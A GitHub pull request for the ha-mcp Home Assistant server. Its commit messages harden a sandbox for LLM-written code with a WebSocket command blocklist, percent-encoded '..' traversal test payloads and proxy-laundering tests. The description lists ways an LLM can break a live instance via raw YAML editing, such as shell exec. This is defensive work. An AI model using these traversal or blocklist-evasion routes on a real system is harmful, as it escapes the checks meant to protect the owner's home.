rollback; E2E coverage requires runtime filesystem poisoning the addon container model doesn't expose. Lint/mypy/ast-grep all clean. 24 unit tests still pass. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(test): rewrite memory test for Monty, skip unreachable recursion test The two failing E2Es from 3f508f0e were both written against a Monty sandbox that doesn't expose the primitives I assumed: * ``test_memory_limit_enforced`` used ``bytearray(N)`` — Monty raises ``LookupError: Unable to find 'bytearray' in external functions dict`` because ``bytearray`` isn't an injected helper, so the test hit ``SANDBOX_RUNTIME_ERROR`` instead of the intended ``SANDBOX_LIMIT_EXCEEDED``. Replaced with a string-multiplication allocation (``'x' * (12 * 1024 * 1024)``) which uses only the string-multiply operator — no builtin lookup — and produces a 12 MB allocation that exceeds the 10 MB ``CODE_MODE_MAX_MEMORY`` default. * ``test_recursion_limit_enforced`` used an assigned recursive lambda (``f = lambda n: 1 if n <= 0 else 1 + f(n - 1); f(500)``). Monty doesn't resolve the lambda's binding name from inside its own body (``LookupError: Unable to find 'f' in external functions dict``) so the recursion never actually starts. The test was structurally incapable of triggering the limit. Renamed to ``test_recursion_limit_unreachable_from_user_code`` and replaced with a documenting ``pytest.skip`` that explains why no E2E variant is possible — Monty doesn't allow ``def`` and assigned lambdas can't recurse — and points at the unit-level coverage that locks in the classifier mapping. Also added ``tests/src/unit/test_classify_sandbox_error.py`` (10 tests) covering ``_classify_sandbox_error`` directly: each of the three buckets (LIMIT_EXCEEDED, SYNTAX_UNSUPPORTED, RUNTIME_ERROR) gets its trigger exception types exercised, including the ``RecursionError`` path the E2E can't reach and the ``LookupError: Unable to find 'X' in external functions dict`` that Monty produces for missing builtins (it falls into the default ``SANDBOX_RUNTIME_ERROR`` bucket — the right call because the "use the injected helpers" advice is already in the default suggestions). The other 5 new E2E tests from 3f508f0e (invocation cap, traversal, proxy laundering blocked × 4) all passed in CI; only the two above were broken. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(code-mode): address Patch76 round-3 review (H1, M2, M3, L1-L6) + clean uv.lock Rebased on current upstream/master (was 8 commits behind) and regenerated uv.lock so it adds only ``pydantic-monty==0.0.9`` — the prior lockfile carried 8 unrelated package downgrades that the fresh resolver pass clears (M1). H1 — entity_registry/remove + device_registry/remove_config_entry ----------------------------------------------------------------- The blocklist was using ``config/entity_registry/delete`` and ``config/device_registry/delete`` — neither is a registered HA Core WS command. Verified ha-mcp itself emits the actually-registered names: ``tools_entities.py:1130`` uses ``config/entity_registry/remove`` and ``tools_registry.py:753`` uses ``config/device_registry/remove_config_entry``. A sandbox ``ws_send({"type": "config/entity_registry/remove", ...})`` was slipping past the blocklist and bypassing ``ha_remove_entity``'s wrapping checks. Added both real names to ``_BLOCKED_WS_COMMANDS``. Left the dead ``*_registry/delete`` strings as-is — over-blocking inert names is harmless, under-blocking real ones is the bug. M2 — percent-encoded ``..`` traversal ------------------------------------- The segment-loop check at ``_normalize_endpoint`` rejects literal ``..`` segments but treats ``%2e%2e`` as a normal segment. httpx itself doesn't decode at the transport level, but reverse proxies (nginx with config drift, traefik with custom routers) sometimes decode-then-resolve, which would let ``%2e%2e/auth/providers`` escape ``/api/`` server-side. Each segment is now passed through ``urllib.parse.unquote`` before the ``..`` comparison so encoded forms can't slip past. M3 — naked list returns from ``_extract_tool_result`` ----------------------------------------------------- The basic-types tuple at line 566 didn't include ``list``, so a tool returning a plain ``[{"id": 1}, ...]`` fell into the ToolResult-extraction branch, found no ``.text`` on its dict elements, and got string-repr'd. Sandbox code ended up with ``"[{'id': 1}, ...]"`` instead of an iterable list. Lists are now passed through when they don't look like FastMCP's content-block shape (heuristic: first element has ``.text`` or ``.type`` — the two attributes content blocks always carry). Plain data lists pass straight to the sandbox. L1 — sandbox-side error shape contract documented -------------------------------------------------- Patch76 noted that sandbox code sees two error shapes (``{"error": str}`` from the bridge helpers, ``{"success": False, "error": {"code", "message"}}`` from ``_sandbox_error``) and suggested standardizing on the structured shape. Standardizing that direction would have changed ~15 existing tests that do ``result.get("error", "").lower()`` blindly. The simpler ``{"error": str}`` shape is what most helpers and tests already assume, and the structured form has real value for ``call_tool`` (propagates the underlying tool's ``ErrorCode``). Resolved instead by making the contract explicit in the ``_run_sandboxed_code`` docstring: both shapes are documented, consumers should always probe with ``if "error" in result:`` before indexing. Same UX outcome (consumers know what to expect) without churning the tests. L2 — switched ``%r`` for the justification log line --------------------------------------------------- Removed the ``_log_safe`` helper and inlined ``%r`` (repr()) for the LLM-supplied ``justification`` log line, matching the ``%r`` already used for endpoint/type fields in the audit-log lines. ``%r`` escapes ``\r`` / ``\n`` / ``\t`` as literal ``\r`` / ``\n`` / ``\t`` sequences in formatted output — same log-injection prevention as ``_log_safe`` but consistent with the rest of the file. L4 / L5 / L6 — clarifying comments ---------------------------------- * L4: Note next to the ``_saved_tools_load_failed`` read in ``_save_saved_tools`` that the read is intentionally without ``global`` — Python doesn't require it for read-only access. * L5: One-line clarification in ``_normalize_endpoint``'s docstring that ``@`` later in the path (``events/foo@bar``) is acceptable — only userinfo position (before the first ``/``) is the credential-leaking shape. * L6: Block comment on the ``_saved_tools`` module-level declaration explaining *why* it's at module level (cross-call persistence is the documented contract; per-request scope wouldn't allow ``run_saved`` to see prior ``save_as`` writes), and pointing at ``code_mode_saved_tools_path`` as the persistence boundary. Test expansion — full ``_BLOCKED_WS_COMMANDS`` parametrize ---------------------------------------------------------- ``test_ws_send_blocks_command`` now parametrizes over all 25 entries in ``_BLOCKED_WS_COMMANDS`` (was: 3 hand-picked cases). The "blocklist names a command HA Core doesn't accept" class of bug surfaces in CI now: if the blocklist drops an entry, the corresponding parametrize row fails; if HA Core renames a command, the test fails with the now-stale name still in the parametrize list and a maintainer notices. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * test(code-mode): pin %2e%2e traversal rejection + naked-list passthrough contract Addresses round-4 review findings. M-A — percent-encoded ``..`` traversal regression bar ----------------------------------------------------- Two new parametrize rows in ``TestCodeModeNormalizeEndpointTraversal::test_api_get_rejects_dot_dot_segment``: * ``%2e%2e/auth/providers`` (lowercase percent-encoded) * ``%2E%2E/auth/providers`` (uppercase percent-encoded) The round-3 M2 source fix added ``urllib.parse.unquote(segment)`` specifically to catch this attack variant on reverse-proxy setups that decode-then-resolve. Without these test rows, a future refactor that drops the ``unquote`` call would silently re-open the surface — no existing parametrize row covers it. Verified locally that ``urllib.parse.unquote`` resolves both case variants (``%2e%2e``, ``%2E%2E``, mixed ``%2e%2E``) to ``..`` so the existing segment guard fires identically. M-B — ``_extract_tool_result`` naked-list passthrough ----------------------------------------------------- New unit suite ``tests/src/unit/test_extract_tool_result.py`` covering the M3 round-3 fix at the helper level: * Basic-type passthrough (``str``, ``int``, ``float``, ``bool``, ``None``, ``dict``). * Naked-list passthrough — the M3 contract. Lists of dicts, strings, ints, mixed basic types, empty list, and dicts whose keys aren't content-block keys all reach the sandbox as iterable lists rather than ``str(list)`` reprs. The example Patch76 explicitly cited (``[{"id": 1}, {"id": 2}]``) is one of the rows. * Attribute-style content blocks (FastMCP's current Pydantic-model shape) get extracted and JSON-decoded — distinguishes them from the naked-list case. * End-to-end ToolResult extraction: JSON payload, plain-text payload, ``isError=True`` wrapping in ``{"error": ...}``. L-A note (left as-is, per follow-up scope) ------------------------------------------ The dict-content-block heuristic widening Patch76 suggested (``isinstance(result[0], dict) and ("text" in result[0] or "type" in result[0])``) was originally implemented in this commit but reverted. FastMCP currently ships content blocks as Pydantic model objects so ``hasattr`` matches; a future switch to raw-dict blocks would misclassify them as a "data list" and pass them through, which still reaches the sandbox as a readable list of dicts (slightly weird shape but not a bug today). Forward-compat speculation, not a real-world regression — keeping out per "follow-up scope" guidance. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> --------- Co-authored-by: kingpanther13 <kingpanther13@users.noreply.github.com> Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
3 participants
What does this PR do?
Redirects the direction of this PR per @julienld's proposal: move
ha_config_set_yamlto beta status by removing the toggle from the main add-on UI, keeping it accessible via the dev channel add-on and via an environment variable for non-add-on installs, and documenting enable paths, use, and known caveats indocs/beta.md.Motivation is in discussion #936 (Gemini-CLI reaching for raw YAML editing when a dedicated config-flow tool would be correct) and the failure-modes audit earlier in this PR thread cataloguing ways an LLM can break a live HA instance via this tool (silent schema failures,
command_line:shell exec,action: removeblast radius, forced recovery mode, orphaned per-edit backups).Migration for affected users
ha_mcp_dev) from the ha-mcp add-on repository and flip theenable_yaml_config_editingtoggle there. Seedocs/dev-channel.mdfor install instructions.ENABLE_YAML_CONFIG_EDITING=truein the environment before starting ha-mcp. No addon required.docs/beta.mdfor full setup, caveats, and the rationale for the move.Changes
Stable add-on UI — toggle removed (
homeassistant-addon/):config.yaml:enable_yaml_config_editingdropped fromoptions:andschema:. An explanatory marker comment remains in its place so a future maintainer syncing from the dev sibling notices the intentional divergence.translations/en.yaml: toggle entry removed./data/options.json, the sharedstart.pyreadsFalse, the env var is exported as"false", andtools_yaml_config.pydoes not register on stable.Dev add-on UI — unchanged (
homeassistant-addon-dev/):config.yamlandtranslations/en.yamlkeepenable_yaml_config_editingexactly as-is. Dev-channel users who explicitly install the dev add-on keep the toggle.Non-add-on installs (pip / uv / uvx / Docker direct) — unchanged:
src/ha_mcp/config.pystill readsENABLE_YAML_CONFIG_EDITINGfrom the environment. Operators running ha-mcp outside the add-on can still opt in by setting the variable themselves.Beta tag mechanism (
scripts/extract_tools.py):generate_docs_sectionandgenerate_readme_tablepicks up an optional"beta"tag and appends a(beta — dev channel only)/(beta)marker inline to the tool's entry.docs/beta.md.Tool flag (
src/ha_mcp/tools/tools_yaml_config.py):"beta"to the tool'stagsset. No docstring or runtime changes. The existing**WARNING:**/LAST RESORTframing and routing table stay intact for dev-channel users who land on the tool.docs/beta.md(new):ha_config_set_yamlfor now).docs/dev-channel.mdfor installation) andENABLE_YAML_CONFIG_EDITING=trueenv var for non-add-on installs.ha_config_set_yaml, distilled from this PR's failure-modes audit: silent schema failures,command_line:shell exec,action: removeblast radius, forced-recovery-mode risk, orphaned per-edit backups.Regenerated artifacts:
homeassistant-addon/DOCS.md,README.md,site/src/data/tools.jsonall regenerated viascripts/extract_tools.py. The stable add-on's Documentation tab now showsha_config_set_yamlwith a**(beta — dev channel only)**inline marker plus the explanatory note pointing todocs/beta.mdabove the tool list.What was kept from the previous direction of this PR
The docstring hardening from earlier revisions (routing table,
**WARNING:**block,LAST RESORTframing, pointer toha_set_config_entry_helperfor template sensors, #907 docstring-guideline alignment) is kept intact because it remains useful for dev-channel users who do land on the tool. Thejustificationparameter was already dropped inf35780dper earlier review and is not reintroduced.Related
docs/beta.md— new canonical location for beta-feature documentation and caveatsdocs/dev-channel.md— existing install instructions for the dev channel add-on, linked fromdocs/beta.mdType of change
Note on "breaking": per AGENTS.md, a change is breaking only if it removes functionality users depend on without providing an alternative.
ha_config_set_yamlremains available via the dev channel add-on and via theENABLE_YAML_CONFIG_EDITINGenv var. Stable add-on users who had the toggle flipped on will lose access at their next add-on update until they switch channels or set the env var — flagged in the commit subject with(breaking — …)so the next release's changelog entry surfaces it to affected users.Testing
uv run pytest) — locally at unit level; full E2E runs in CI since Docker isn't available in my local environmentuv run ruff checkon modified files)python scripts/extract_tools.pyrun to regeneratehomeassistant-addon/DOCS.md,README.md,site/src/data/tools.jsonChecklist
docs/beta.mdadded, stableDOCS.md+README.mdregenerated)